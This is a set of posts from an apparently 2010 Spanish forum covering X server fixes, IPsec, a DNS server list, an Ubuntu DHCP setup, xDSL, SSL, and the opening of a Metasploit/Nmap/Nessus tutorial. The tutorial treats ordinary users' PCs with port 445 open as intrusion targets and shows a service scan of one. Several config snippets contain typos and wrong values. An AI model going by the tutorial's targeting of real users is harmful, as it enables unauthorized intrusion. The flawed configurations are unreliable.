sudo dpkg-reconfigure xserver-org

2º Solución: "Error en el inittab":

Ambos los encontramos en: /etc/inittab

Cambiar el valor:

Default runlevel.(Do not set to 0 or 6)
id:initdefault:

a:

Default runlevel.(Do not set 0 or 6)
id:4:initdefault.

3º Solución:

sudo /etc/init.d/gdm start

->Enter Pass

aparece:

starting Gnome Display Manager

->Exit

4º Solución:

sudo gdm

sudo xorconfig

E indicamos la siguiente ruta:

/dev/input/mice

o de no ser la anterior, esta:

/dev/psavx

5º Solución:

Modo Recovery o Modo de recuperación, el cual se muestra al inicio del sistema.

6º Solución: "Limpiar y actualizar el sistema":

sudo aptitude clean

sudo aptitude update

sudo aptitude full-upgrade

->sudo reboot

7º Solución:

sudo dpkg-reconfigure xserver-xorg

->Si [Autodetecta el hardware de video]

->No [Buscar un controlador de forma manual]

Valores que podemos ver:

*Configurar nuestra tarjeta
*Recuperar la configuración predeterminada
*Para aceleración 3D controladores privativos

1->Seleccionar el modelo de la targeta gráfica.

2->Cuando indique identificar la tarjeta de video, deberemos borrar el nombre de la presente y escribimos nv en caso de que esta sea nvidia, o vesa en caso de que sea ATI.

3->En BUS ID, memoria asignada y demás parámetros, los dejamos por defecto y en >Framebuffer<>No<>En Teclado y ratón, lo dejamos por defecto, para >Monitor<>En la siguiente ventana marcamos "single" e indicamos la resolución de la PC

Nota: Mientras menor sea esta, puede ser mejor.
Nota: Con la barra espaciadora, indicamos la "resolución real" o mas apropiada a utilizar.

6->La profundidad de color, indicamos las mas alta.

7->Reiniciar el equipo:

sudo reboot


Un $alu2.

8
Redes y antenas / IPsec [Internet Protocol security]
« en: Abril 23, 2010, 04:56:05 pm »
IPsec [Internet Protocol security]



IPsec (abreviatura de Internet Protocol security) es un conjunto de protocolos cuya función es asegurar las comunicaciones sobre el Protocolo de Internet  (IP) autenticando y/o cifrando cada paquete IP en un flujo de datos. IPsec también incluye protocolos para el establecimiento de claves de cifrado.


Arquitectura de seguridad

IPsec está implementado por un conjunto de protocolos criptográficos para (1) asegurar el flujo de paquetes, (2) garantizar la autenticación mutua y (3) establecer parámetros criptográficos.

La arquitectura de seguridad IP utiliza el concepto de asociación de seguridad (SA) como base para construir funciones de seguridad en IP. Una asociación de seguridad es simplemente el paquete de algoritmos y parámetros (tales como las claves) que se está usando para cifrar y autenticar un flujo particular en una dirección. Por lo tanto, en el tráfico normal bidireccional, los flujos son asegurados por un par de asociaciones de seguridad. La decisión final de los algoritmos de cifrado y autenticación (de una lista definida) le corresponde al administrador de IPsec.

Para decidir qué protección se va a proporcionar a un paquete saliente, IPsec utiliza el índice de parámetro de seguridad (SPI), un índice a la base de datos de asociaciones de seguridad (SADB), junto con la dirección de destino de la cabecera del paquete, que juntos identifican de forma única una asociación de seguridad para dicho paquete. Para un paquete entrante se realiza un procedimiento similar; en este caso IPsec toma las claves de verificación y descifrado de la base de datos de asociaciones de seguridad.

En el caso de multicast, se proporciona una asociación de seguridad al grupo, y se duplica para todos los receptores autorizados del grupo. Puede haber más de una asociación de seguridad para un grupo, utilizando diferentes SPIs, y por ello permitiendo múltiples niveles y conjuntos de seguridad dentro de un grupo. De hecho, cada remitente puede tener múltiples asociaciones de seguridad, permitiendo autenticación, ya que un receptor sólo puede saber que alguien que conoce las claves ha enviado los datos. Hay que observar que el estándar pertinente no describe cómo se elige y duplica la asociación a través del grupo; se asume que un interesado responsable habrá hecho la elección.

Propósito de diseño

IPsec fue proyectado para proporcionar seguridad en modo transporte (extremo a extremo) del tráfico de paquetes, en el que los ordenadores de los extremos finales realizan el procesado de seguridad, o en modo túnel (puerta a puerta) en el que la seguridad del tráfico de paquetes es proporcionada a varias máquinas (incluso a toda la red de área local) por un único nodo.

IPsec puede utilizarse para crear VPNs en los dos modos, y este es su uso principal. Hay que tener en cuenta, sin embargo, que las implicaciones de seguridad son bastante diferentes entre los dos modos de operación.

La seguridad de comunicaciones extremo a extremo a escala Internet se ha desarrollado más lentamente de lo esperado. Parte de la razón a esto es que no ha surgido infraestructura de clave pública universal o universalmente de confianza (DNSSEC fue originalmente previsto para esto); otra parte es que muchos usuarios no comprenden lo suficientemente bien ni sus necesidades ni las opciones disponibles como para promover su inclusión en los productos de los vendedores.

Como el Protocolo de Internet no provee intrínsecamente de ninguna capacidad de seguridad, IPsec se introdujo para proporcionar servicios de seguridad tales como:

   1. Cifrar el tráfico (de forma que no pueda ser leído por nadie más que las partes a las que está dirigido)
   2. Validación de integridad (asegurar que el tráfico no ha sido modificado a lo largo de su trayecto)
   3. Autenticar a los extremos (asegurar que el tráfico proviene de un extremo de confianza)
   4. Anti-repetición (proteger contra la repetición de la sesión segura).

Modos

Así pues y dependiendo del nivel sobre el que se actúe, podemos establecer dos modos básicos de operación de IPsec: modo transporte y modo túnel.
Modo transporte [editar]

En modo transporte, sólo la carga útil (los datos que se transfieren) del paquete IP es cifrada y/o autenticada. El enrutamiento permanece intacto, ya que no se modifica ni se cifra la cabecera IP; sin embargo, cuando se utiliza la cabecera de autenticación (AH), las direcciones IP no pueden ser traducidas, ya que eso invalidaría el hash. Las capas de transporte y aplicación están siempre aseguradas por un hash, de forma que no pueden ser modificadas de ninguna manera (por ejemplo traduciendo los números de puerto TCP y UDP). El modo transporte se utiliza para comunicaciones ordenador a ordenador.

Una forma de encapsular mensajes IPsec para atravesar NAT ha sido definido por RFCs que describen el mecanismo de NAT transversal.
Modo túnel [editar]

En el modo túnel, todo el paquete IP (datos más cabeceras del mensaje) es cifrado y/o autenticado. Debe ser entonces encapsulado en un nuevo paquete IP para que funcione el enrutamiento. El modo túnel se utiliza para comunicaciones red a red (túneles seguros entre routers, p.e. para VPNs) o comunicaciones ordenador a red u ordenador a ordenador sobre Internet.

Fuente

9
Redes y antenas / Listado de DNS
« en: Abril 23, 2010, 04:55:09 pm »
En ocasiones es posible que el servidor/es DNS que tiene asignado por defecto la configuración de conexión de red, por algun motivo no resuelve las direcciones como a de hacerlo, a continuación, se muestra una lista en la cual aparecen distintos servidores DNS para distintos ISP.



LISTADO DE DNS


Telefónica 80.58.0.97 97.Red-80-58-0.pooles.rima-tde.net
SuperBanda 212.4.96.22 ns1.grupalia.com
Tiscali 212.166.64.2 dns2.tiscali.es
Terra 213.4.141.1 dns2.terra.es
Orange 62.37.228.22 m2cachedns2.uni2.es
Terra 213.4.132.1 dns1.terra.es
Orange 62.37.228.22 m2cachedns2.uni2.es
Jazztel 87.216.1.65 [Unknown]
Orange 62.37.236.200 dns2.wanadoo.es
Tiscali 212.166.64.1 dns1.tiscali.es
ConexiónFutura 193.43.232.4 dns1.conexionfutura.com
Telefónica 80.58.61.250 250.Red-80-58-61.staticIP.rima-tde.net
Iberbanda 217.11.96.234 dns.mad.iberbanda.es
Comunitel 212.145.4.98 ns2.comunitel.net
ONO 62.42.230.135 dns01.ono.com
Orange 62.37.237.140 dns1.wanadoo.es
Jazztel 62.14.2.1 dns1.inversas.jazztel.es
Orange 62.37.225.58 pdns03pub.uni2.es
Telefónica 213.0.184.68 minerva.ttd.net
Telefónica 80.58.61.254 254.Red-80-58-61.staticIP.rima-tde.net
ONO 62.42.230.136 newsf01.ono.com
Iberdrola 193.127.102.104 ns2.presenzia.net
Arrakis 195.5.64.2 ns1.landsraad.net
ONO 62.42.230.24 resolv.ono.com
ONO 62.42.63.51 dns03.ono.com
Jazztel 62.14.4.64 dnscache1.jazzvisp.com
Jazztel 62.14.63.145 [Unknown]
Arsys 217.76.129.131 dns8.servidoresdns.net
ConexiónFutura 213.139.0.51 ns0.es.easynet.net
Telefónica 194.179.1.101 artemis.ttd.net
OpenForYou 213.195.64.129 dns1.ibercom.com
Arsys 217.76.128.131 dns7.servidoresdns.net
OpenForYou 213.195.79.129 dns2.ibercom.com
ConexiónFutura 213.139.0.52 ns1.es.easynet.net
Telefónica 80.58.0.33 33.Red-80-58-0.pooles.rima-tde.net
Adam 212.36.64.17 dns2.adam.es
Arsys 217.76.128.4 atlante.servidoresdns.net
Comunitel 212.145.4.97 ns1.comunitel.net
Iberdrola 213.172.33.35 ns2.neo.es
Arsys 217.76.129.4 prometeo.servidoresdns.net
Telefónica 213.0.184.69 artemis.ttd.net
Iberdrola 213.172.33.34 ns1.neo.es
Orange 62.37.225.57 dns2.comtenidos.com
Telefónica 80.58.32.33 33.Red-80-58-32.pooles.rima-tde.net
Reterioja 212.21.224.4 sn2.reterioja.es
Iberbanda 217.11.108.234 dns.bcn.iberbanda.es
TeleCable 212.89.0.31 dns.telecable.es
AunaCable 62.81.31.250 dns.iddeo.es
Telefónica 80.58.32.97 97.Red-80-58-32.pooles.rima-tde.net
Telefónica 194.179.1.100 minerva.ttd.net
Euskaltel 212.55.8.133 dns2.euskaltel.es
Reterioja 212.21.224.3 sn1.reterioja.es
Terra 195.235.113.3 dns.terra.es
Adam 212.36.64.16 dns1.adam.es
Orange 62.37.225.56 dns.comtenidos.com
Jazztel 62.14.4.65 dnscache2.jazzvisp.com
SuperBanda 212.4.96.21 ns2.grupalia.com
Euskaltel 212.55.8.132 dns.euskaltel.es
R 212.51.33.106 ns-cor.net.mundo-r.com
Arrakis 195.5.64.6 ns2.landsraad.net
Acens 217.116.0.177 ns2.acens.net
Orange 62.37.228.20 m2cachedns.uni2.es
Iberdrola 193.127.102.45 ns1.presenzia.net
Acens 217.116.0.176 ns1.acens.net
R 212.51.33.73 ns.mundo-r.com
Tele2 130.244.127.169 dns2.swip.net
Tele2 130.244.127.161 dns1.swip.net
ONO 62.42.63.52 [Unknown]
AunaCable 62.81.16.131 131-16-81-62.libre.auna.net
Ya.com 62.151.20.6 ns2.bs-ya.com
AunaCable 62.81.0.35 35-0-81-62.libre.auna.net
Ya.com 62.151.2.65 dns.yaonline.es
Ya.com 62.151.20.7 ns.bs-ya.com
Ya.com 62.151.8.100 dns2.ya.com
AunaCable 62.81.0.36 36-0-81-62.libre.auna.net
Ya.com 62.151.2.8 dns.ya.com
AunaCable 62.81.16.132 132-16-81-62.libre.auna.net
Telefónica 194.224.52.4 esifw1.tsai.es
Telefónica 194.224.52.6 esifw2.tsai.es
Telefónica 194.224.52.36 ns1.telefonica-data.com
Telefónica 194.224.52.37 ns2.telefonica-data.com
Terra 195.235.96.90 tpdns2.terra.es
AunaCable 62.81.0.1 mayor.red.retevision.es

Fuente

10
Redes y antenas / [Tutorial] Configuracion de servidor DHCP ubuntu
« en: Abril 23, 2010, 04:54:31 pm »

 
Configuracion de servidor DHCP ubuntu

En este manual mostrare como configurar un servidor DHCP en cualquier computador con sistema operativo anfitrion Ubuntu. Antes de empezar vamos a hacer un pequeño repaso de teoria basico:Configuracion de servidor DHCP ubuntu

Servidor: ( Wikipedia )

Citar
En informática, un servidor es una computadora que, formando parte de una red, provee servicios a otras computadoras denominadas clientes

Servidor DHCP: ( ccm.itesm.mx )

Citar
Un servidor DHCP (Dynamic Host Configuration Protocol) se utiliza para asignar direcciones IP a las computadoras de los usuarios cuando éstas arrancan.

Cliente: ( Wikipedia )

Citar
El cliente es una aplicación informática que se utiliza para acceder a los servicios que ofrece un servidor, normalmente a través de una red de telecomunicaciones.

Bueno solo hablaremos de estos terminos, ya podremos empezar a configurar nuestro servidor.

Bueno antes que todo debemos actualizar los repositorios de nuestro S.O con el siguente comando, abrimos una terminal y escribimos lo siguiente:

Citar
sudo apt-get update

Ahora vamos a configurar nuestras interfaces de red. abrimos un terminal y escribimos lo siguiente

Citar
sudo gedit /etc/network/interfaces

ahora nos aparecera un editor de texto con lo siguiente

Citar
auto lo
iface lo inet loopback

ahora tendras que escribir lo siguiente debajo del texto que estaba en el editor de texto plano.

Citar
auto eth0
iface eth0 inet static
adress 192.168.0.10
netmask 255.255.255.0
gateway 192.168.0.1
broadcast 192.128.0.225

Lo que hicimos hay fue  configurar la interface eth0 que es la cableada para que nuestro equipo tuviera como IP estatica 192.168.0.10 , como mascara de red 255.255.255.0, como gateway 192.168.0.1 y como broadcast 192.128.0.225

¿ Y ahora que mas hacemos ?

ahora vamos a reiniciar nuestro servicio de red para que nos reconosca estos cambios que hicismo a la interface de eth0 ( cableada ), abrimos un terminal y escribimos esto.


Citar
sudo /etc/init.d/networking restart

ahora vamos al Synaptic y buscamos dchp3-server y lo aplicamos. despues de ya tener el dchp3-server en nuestro equipo ( es esencial para poder configurar el asignamiento de IP a los Computadores clientes) vamos a modificar el archivodhcp.conf vamos a abrir un terminal y escribimos esto que es para poder abrir el archivo dhcpd.conf abrirlo como super usuario.

Citar
sudo gedit /etc/dhcp3/dhcpd.conf

el archivo lo vamos a configurar para poder asignar las IP por defecto osea que si se conecta se le asignara IP sin ningun problema. el archivo debe quedar asi.

Citar
shared-network miredlocal {
subnet 192.168.0.0 netmask 255.255.255.0 {
options routers 192.168.0.1;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.0.255;
option domain-name "lanlocal.red";
option domain-name-servers 200..21.200.2, 200.21.200.79;
option netbios-name-servers 192.168.0.1;
range 192.168.0.11 192.168.0.199;
default-lease-time 21600;
max-lease-time 43200;
}

asi debe quedar si vos lo quieres que asigne IP por defecto pero si quieres asignarsela por MAC tambien se pude, tienes que configurarlo para que tambien las asigne por defecto pero debajo de el texto anterior tiene que colocar lo siguiente.

Citar
host 253 {
aption host-name "m253.local.red";
hardware athernet XX:XX:XX:XX:XX:XX;
fixed-address 192.168.0.253;
{

Bueno ahora despues de haber hablado con la configuracion del servidor vamos a iniciar el servidor. abrimos un terminal y escribes lo siguiente.

Citar
sudo /etc/init.d/dhcpd3-server start

"ejemplo grafico ;)"


Bueno ahora verificamos si el servicio del server esta habilitado.


listo ya tenemos nuestro servidor =) que tal si jugamos un poco?, bueno cositas basicas, con el siguiente comando podremos ver quienes estan conectados a nuestro servidor

Citar
sudo arp


y vamos a verificar la conexion de alguno de nuestros clientes


espero que esta documentacion les pueda servir alguna vez =)

-------------------------------------> by Progresive Death <-------------------------------------

Manual basado en la Guia_ubuntu_Server de Alanmein


Autor:Progresive_death
Fuente: CPH

11
Redes y antenas / Tecnologias XDSL
« en: Abril 23, 2010, 04:53:31 pm »
Cuando nos referimos a tecnologías XDSL, lo que estamos haciendo es mencionando la tecnología basada en el par de cobre trenzado como medio de transmisión de datos.

Existen 4 tipos de tecnologías XDSL:

VDSL, VDSL (o VHDSL) son las siglas de Very high bit-rate Digital Subscriber Line (DSL de muy alta tasa de transferencia). Se trata de una tecnología de acceso a internet  de Banda Ancha, perteneciente a la familia de tecnologías xDSL que transmiten los impulsos sobre pares de cobre.

Se trata de una evolución del ADSL, que puede suministrarse de manera asimétrica (52 Mbit/s de descarga y 12 Mbit/s de subida) o de manera simétrica (26 Mbit/s tanto en subida como en bajada), en condiciones ideales sin resistencia de los pares de cobre y con una distancia nula a la central.

La tecnología VDSL utiliza 4 canales para la transmisión de datos, dos para descarga y 2 para subida, con lo cual se aumenta la potencia de transmisión de manera sustancial.

HDSL, HDSL es el acrónimo de High bit rate Digital Subscriber Line o Línea de abonado digital de alta velocidad binaria.

Ésta es una más de las tecnologías de la familia DSL, las cuales han permitido la utilización del clásico bucle de abonado telefónico, constituido por el par simétrico de cobre, para operar con tráfico de datos en forma digital.

Los módems HDSL permiten el establecimiento por un par telefónico de un circuito digital unidireccional de 1,544 Mbps (T1) ó 2,048 Mbps (E1), por lo que para la comunicación bidireccional son necesarios dos pares. En este caso por cada par se transmite y recibe un flujo de 1024Kbps.

La distancia máxima entre terminales en que se puede utilizar está entre 3 y 4 km, dependiendo del calibre y estado de los pares de cobre.

ADSL, ADSL son las siglas de Asymmetric Digital Subscriber Line ("Línea de Suscripción Digital Asimétrica"). ADSL es un tipo de línea DSL. Consiste en una transmisión de datos digitales (la transmisión es analógica) apoyada en el par simétrico de cobre que lleva la línea telefónica convencional o línea de abonado, siempre y cuando la longitud de línea no supere los 5,5 km medidos desde la Central Telefónica, o no haya otros servicios por el mismo cable que puedan interferir.
Frecuencias usadas en ADSL. El área roja es el área usada por la voz en telefonía normal, el verde es el upstream o subida de datos y el azul es para el downstream o descarga de datos.

Es una tecnología de acceso a Internet de banda ancha, lo que implica una velocidad superior a una conexión tradicional por módem en la transferencia de datos. Esto se consigue mediante una modulación de las señales de datos en una banda de frecuencias más alta que la utilizada en las conversaciones telefónicas convencionales (300-3800 Hz), función que realiza el Router ADSL. Para evitar distorsiones en las señales transmitidas, es necesaria la instalación de un filtro (llamado splitter o discriminador) que se encarga de separar la señal telefónica convencional de las señales moduladas de la conexión mediante ADSL.
SDSL, Symmetric Digital Subscriber Line (SDSL). La tecnología SDSL es una variante de la DSL y se trata de una línea simétrica permanente con velocidades justamente de hasta 2.048 kbps.

SDSL es una forma de servicio de la línea del suscriptor Digital (DSL) que proporciona justamente igual ancho de banda para subida de datos (uploads), bajada de datos (downloads) y justamente transferencias directas. SDSL era una de las formas más tempranas de DSL para no requerir líneas telefónicas múltiples.

También Conocido Como: Línea Simétrica Del Suscriptor Digital, Dsl Single-line.


Fuente
Fuente

12
Redes y antenas / SSL [Secure Sockets Layer]
« en: Abril 23, 2010, 01:54:26 pm »
SSL [Secure Sockets Layer]



Secure Sockets Layer -Protocolo de Capa de Conexión Segura- (SSL) y Transport Layer Security -Seguridad de la Capa de Transporte- (TLS), su sucesor, son protocolos criptográficos que proporcionan comunicaciones seguras por una red, comúnmente Internet.

Existen pequeñas diferencias entre SSL 3.0 y TLS 1.0, pero el protocolo permanece sustancialmente igual. El término "SSL" según se usa aquí, se aplica a ambos protocolos a menos que el contexto indique lo contrario.

Cómo funciona

El protocolo SSL intercambia registros; opcionalmente, cada registro puede ser comprimido, cifrado y empaquetado con un código de autentificación del mensaje (MAC). Cada registro tiene un campo de content_type que especifica el protocolo de nivel superior que se está usando.

Cuando se inicia la conexión, el nivel de registro encapsula otro protocolo, el protocolo handshake, que tiene el content_type 22.

El cliente envía y recibe varias estructuras handshake:

    * Envía un mensaje ClientHello especificando una lista de conjunto de cifrados, métodos de compresión y la versión del protocolo SSL más alta permitida. Éste también envía bytes aleatorios que serán usados más tarde (llamados Challenge de Cliente o Reto). Además puede incluir el identificador de la sesión.

    * Después, recibe un registro ServerHello, en el que el servidor elige los parámetros de conexión a partir de las opciones ofertadas con anterioridad por el cliente.

    * Cuando los parámetros de la conexión son conocidos, cliente y servidor intercambian certificados (dependiendo de las claves públicas de cifrado seleccionadas). Estos certificados son actualmente X.509, pero hay también un borrador especificando el uso de certificados basados en OpenPGP.

    * El servidor puede requerir un certificado al cliente, para que la conexión sea mutuamente autentificada.

    * Cliente y servidor negocian una clave secreta (simétrica) común llamada master secret, posiblemente usando el resultado de un intercambio Diffie-Hellman, o simplemente cifrando una clave secreta con una clave pública que es descifrada con la clave privada de cada uno. Todos los datos de claves restantes son derivados a partir de este master secret (y los valores aleatorios generados en el cliente y el servidor), que son pasados a través una función pseudoaleatoria cuidadosamente elegida.

TLS/SSL poseen una variedad de medidas de seguridad:

    * Numerando todos los registros y usando el número de secuencia en el MAC.
    * Usando un resumen de mensaje mejorado con una clave (de forma que solo con dicha clave se pueda comprobar el MAC). Esto se especifica en el RFC 2104).
    * Protección contra varios ataques conocidos (incluyendo ataques man-in-the-middle), como los que implican un degradado del protocolo a versiones previas (por tanto, menos seguras), o conjuntos de cifrados más débiles.
    * El mensaje que finaliza el protocolo handshake (Finished) envía un hash de todos los datos intercambiados y vistos por ambas partes.
    * La función pseudo aleatoria divide los datos de entrada en 2 mitades y las procesa con algoritmos hash diferentes (MD5 y SHA), después realiza sobre ellos una operación XOR. De esta forma se protege a sí mismo de la eventualidad de que alguno de estos algoritmos se revelen vulnerables en el futuro.

Aplicaciones

SSL se ejecuta en una capa entre los protocolos de aplicación como HTTP, SMTP, NNTP y sobre el protocolo de transporte TCP, que forma parte de la familia de protocolos TCP/IP. Aunque pueda proporcionar seguridad a cualquier protocolo que use conexiones de confianza (tal como TCP), se usa en la mayoría de los casos junto a HTTP para formar HTTPS. HTTPS es usado para asegurar páginas World Wide Web para aplicaciones de comercio electrónico, utilizando certificados de clave pública  para verificar la identidad de los extremos.

Aunque un número creciente de productos clientes y servidores pueden proporcionar SSL de forma nativa, muchos aún no lo permiten. En estos casos, un usuario podría querer usar una aplicación SSL independiente como Stunnel para proporcionar cifrado. No obstante, el Internet Engineering Task Force recomendó en 1997 que los protocolos de aplicación ofrecieran una forma de actualizar a TLS a partir de una conexión sin cifrado (plaintext), en vez de usar un puerto diferente para cifrar las comunicaciones – esto evitaría el uso de envolturas (wrappers) como Stunnel.

SSL también puede ser usado para tunelizar una red completa y crear una red privada virtual (VPN), como en el caso de OpenVPN.


Fuente

13
Bugs y Exploits / [Tutorial] Conociendo Metasploit Framework
« en: Abril 15, 2010, 02:56:58 am »
Metasploit Framework, Nmap & Nessus
By Rcart
CPH

Se les saluda a cada uno de ustedes. Como lo mencione en un post, desarrollaría este tutorial de Metasploit Framework y tambien incluiré Nmap y Nessus (en una simple vista). Espero sea de su agrado y el propósito de este es únicamente de aprendizaje.

Nota: Este tutorial esta hecho bajo la distribución Ubuntu 9.04, ya que en ningún momento voy a hacer uso del entorno gráfico de MSF por los momentos y todo se realizara desde la interfaz de consola: msfconsole. Se recomienda su utilización.


Antes de continuar, quisiera que montaran su "Hack Lab" para hacer las pruebas de forma local. Lees recomiendo este tutorial:

Índice

  • Introducción a MSF
  • Instalación de MSF
  • Introducción a Nmap*
  • Instalación de Nmap
  • Introducción a Nessus*
  • Instalación de Nessus
  • Buscando objetivos con Nmap
  • Ecaneando objetivos con Nessus
  • Mi primera Intrusión con MSF
  • Conociendo los modulos auxiliares (Auxiliary)
  • Conociendo Meterpreter

*Se darán únicamente definiciones.


Aportes de Shell Root (Enlace Directo)


Aportes de trashhgoo (Enlace Directo)


Introducción

Que es Metasploit Framework (MSF) ?

Según la Wikipedia: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby. (resumen)

Cuando debo utilizar MSF?


Como bien se ha dicho es una herramienta para ejecutar exploits, hechos por nosotros o bajados y compilados, y su utilización se realizara cuando encontremos equipos vulnerables a alguno de los exploits presentes en MSF.

Instalación

Primero que nada debemos ir al sitio oficial: www.metasploit.com para luego en la sección de Quick Links descargar la versión según nuestro SO, en mi caso descargo el archivo para UNIX.

Nota: El siguiente paso no es necesario en las versiones posteriores a la 3.3 de MSF ya que su instalacion varia .

Debido a que Ubuntu no trae por defecto el interprete de Ruby necesitamos instalarlo, ademas de una libreria para soporte SSL ya que sin ella, no nos funcionarían algunos de nuestros exploits:
Código: [Seleccionar]
sudo apt-get install ruby1.8 libopenssl-ruby1.8 rails
Una vez descargado el MSF desde su sitio oficial,  lo posicionamos en nuestro directorio personal (/home/tu-usuario/), luego lo descomprimimos con click derecho> extraer aquí. Pero si son unos adictos a la terminal, lo descomprimimos así:
Código: [Seleccionar]
tar -xvvf framework-3.2.tar.gz
Eso nos creara un directorio llamado framework-3.2, al cual accederemos desde la terminal para invocar la consola de MSF:
Código: [Seleccionar]
cd framework-3.2
./msfconsole

Lo que nos devolverá una linda imagen (aunque seguramente sera distinta):

Y a partir de este momento estamos listos para poder comenzar a teclear nuestros comandos para poder llegar a lograr nuestro objetivo: la explotación de vulnerabilidades con MSF.

Introducción a Nmap

Que es Nmap?
Según de la Wikipedia: Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

En nuestra practica, Nmap nos servira para poder escanear los equipos a los cuales queramos enfocarnos, viendo sus servicios, puertos abiertos, SO, y demas cosas que veremos posteriormente.

Instalación

Nmap se encuentra en casi todos los repositorios de la mayoria de las distribuciones Gnu/Linux. En nuestro caso, hacemos uso del gestor de paquetes apt.
Código: [Seleccionar]
sudo apt-get install nmap
Con eso, estaría instalado perfectamente Nmap en su versión 4.x. Lastimosamente en este tuto no pienso enfocarme en el uso de Nmap, seria bueno que buscaran algunos tutos en Google para no estar preguntando para que sirve cada opción pero si aun así no las entienden, con gusto se las explicaría =)
Introducción a Nessus
No es necesaria si van a utilizar otro scanner

Que es Nessus?
Según de la Wikipedia: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y reporte de los escaneos

Podrían perfectamente utilizar cualquier otro scanner de vulnerabilidades como ser SSS o Acunetix.

Instalación de Nessus

Ingresamos a http://www.nessus.org/download. Luego seleccionamos Nessus 4.0.2 for Linux y damos click en download. Aceptamos los terminos de licencia y luego descargamos el archivo correspondiente a nuestra distro, en mi caso elijo el archivo Ubuntu 8.10 and 9.04 (32 bits) (Nessus-4.0.2-ubuntu810_i386.deb).

Una vez haya finalizado la descarga, lo guardamos en nuestro directorio personal (/home/tu-usuario/) y lo instalamos con el gestor de paquetes de Ubuntu haciendo doble click, sino, desde la terminal:
Código: [Seleccionar]
sudo dpkg -i Nessus-4.0.2-ubuntu810_i386.deb
Luego nos tenemos que registrar para poder activar el demonio de Nessus (nessusd). Para ello vamos a http://www.nessus.org/plugins/index.php?view=register y aceptamos la licencia. Ingresamos nuestra dirección de correo al cual sera enviado el código de activación. Luego agregamos un usuario que sera el “administrador” de Nessus.

Ejecutamos desde una terminal:
Citar
sudo /opt/nessus/sbin/nessus-adduser
Login : usuario-para-nessus
Authentication (pass/cert) : [pass] presionas_enter
Login password : escribis-la-pass
Login password (again) : volves-a-escribir-la-pass
Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc…) (y/n) [n]: y

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set) presionas enter

Login : el-usuario-que-ingresaste
Password : ***********
This user will have ‘admin’ privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y] y
Luego ingresamos el código de activación:
Código: [Seleccionar]
sudo /opt/nessus/bin/nessus-fetch --register la-clave-que-te-enviaron-a-tu-correo
Listo, con eso deberia de aparecerles un mensaje en el que se indica que Nessus esta actualizando sus plugins. Para mas información deberían de consultar Google xD

Por ultimo, instalamos el cliente de Nessus, el que nos permitira interactuar con el demonio de Nessus graficamente:

Ingresamos a  http://www.nessus.org/download y selecciona  NessusClient 4.0.2 (The Linux graphical interface for nessud) y le das en download. Aceptas la licencia y luego seleccionas el archivo correspondiente a tu distribución, en mi caso NessusClient-4.0.2-ubuntu810_i386.deb (Ubuntu 8.10 and 9.04 (32 bits).

Cuando la descarga termine, lo guardas en tu directorio personal (/home/tu-usuario/), junto al anterior, y luego lo instalas con el gestor de paquetes de Ubuntu haciendo doble click o desde la terminal:
Código: [Seleccionar]
sudo dpkg -i NessusClient-4.0.2-ubuntu810_i386.deb
Por ultimo reiniciamos el deamon de Nessus (nessusd):
Código: [Seleccionar]
sudo /etc/init.d/nessusd restart
Y listo!, p u t o nessus, ya lo podremos encontrar en el menu Aplicaciones>Internet.

Si en algun caso nos muestra algun tipo de error relacionado a que no se puede iniciar el deamon, verifiquemos los paso anteriores.

Hasta este punto, tenemos instados el servidor y el cliente Nessus, solo nos hace falta establecer la comunicación entre ambas partes.

Para hacerlo, abrimos el cliente gráfico desde el menú Aplicaciones>Internet, despues continuamos con los pasos explicados a continuacion:

1.- Botón para establecer la conexión

2.- Botón para agregar la conexión. En este paso nos parecerá la venta “Edit conexion”.

Aquí tendrán que establecer los datos que aparecen en la imagen. Los mas importantes son el host y el port, tienen que ser iguales al los de la imagen (si es que no se ha modificado el archivo de configuración),

3.-  Escriben el nombre y pass del usuario que agregaron como “administrador” y luego le dan en Save. Luego la seleccionan y le dan en Connect. Les aparecerá un mensaje informando que es la primera conexión y le dan en Ok.

Para saber su funcionamiento deberán de buscar información sobre el mismo. Lo que hice fue únicamente mostrar su Instalación, ya que es considerada una de las partes mas “complicadas” (para sus ultimas versiones).

Buscando objetivos con Nmap

Una vez hayamos instalado las aplicaciones correspondientes, manos a la obra.

Primero que nada, vamos a escanear nuestra red para tener un objetivo cerca :D. Recuerden que esos “objetivos” son usuarios normales y no mantienen todo el día sus PC's encendidas y por lo general son equipos vulnerables, debemos ser rápidos ya que quizás durante el proceso de explotación, estos equipos se desconecten y nosotros estemos esperando una shell. LOL

Debo aclarar que la búsqueda de objetivos es especifica: encontrar equipos con el puerto 445 abierto. Por que? Porque es ese servicio el que buscamos explotar por esta primer intrusion.

En mi caso, tengo como objetivo un equipo de mi red con ip 10.21.37.179. Para hacer un scann eficiente y sencillo  lo hacemos de la siguiente manera y como root:
Código: [Seleccionar]
nmap -v -sV 10.21.37.179
Con lo cual obtendremos un resultado similar a este:
Código: [Seleccionar]
[email protected]:~$ nmap -v -sV 10.21.37.179
Discovered open port 3389/tcp on 10.21.37.179
Discovered open port 139/tcp on 10.21.37.179
Discovered open port 445/tcp on 10.21.37.179

Host 10.21.37.179 appears to be up ... good.
Interesting ports on 10.21.37.179:

PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds  Microsoft Windows XP microsoft-ds
2869/tcp closed unknown
3389/tcp open   microsoft-rdp Microsoft Terminal Service
Service Info: OS: Windows

Host script results:
|  Discover OS Version over NetBIOS and SMB: Windows XP
|_ Discover system time over SMB: 2009-10-06 17:06:50 UTC+2

Esta un poco resumido, pero no va a variar mucho. Explico las opciones:
-v = verbose
-sV = Con esto obtenemos la versión del servicio que esta corriendo bajo un puerto determinado.

Con estos resultados estariamos listos para interactuar con Mestasploit. Pero primero debemos de analizar ese equipo en busca de vulnerabilidades con Nessus.

